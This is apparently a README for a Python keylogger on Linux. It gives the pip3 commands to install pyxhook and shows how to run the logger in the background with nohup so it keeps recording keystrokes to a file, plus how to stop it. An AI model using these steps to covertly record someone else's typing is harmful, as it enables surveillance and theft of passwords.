The following instructions will install Keylogger using pip3 .

  pip3 install -r requirements.txt

or

  pip3 install pyxhook

How to run it

By running nohup python3 keylogger.py & command, it'll start to log your strokes: The meaning of nohup is ‘no hangup‘. When nohup command use with ‘&’ then it doesn’t return to shell command prompt after running the command in the background.

$~/Keylogger/linux$ nohup python3 keylogger.py &
[1] 12529 //this is the keylogger's PID (process ID)
$:~/Keylogger/linux$ fg

The Keylogger is now running! It will log your strokes to a file . Stop it by typing the command fg then hitting CTRL+C

or

kill {PID} for example kill 12529
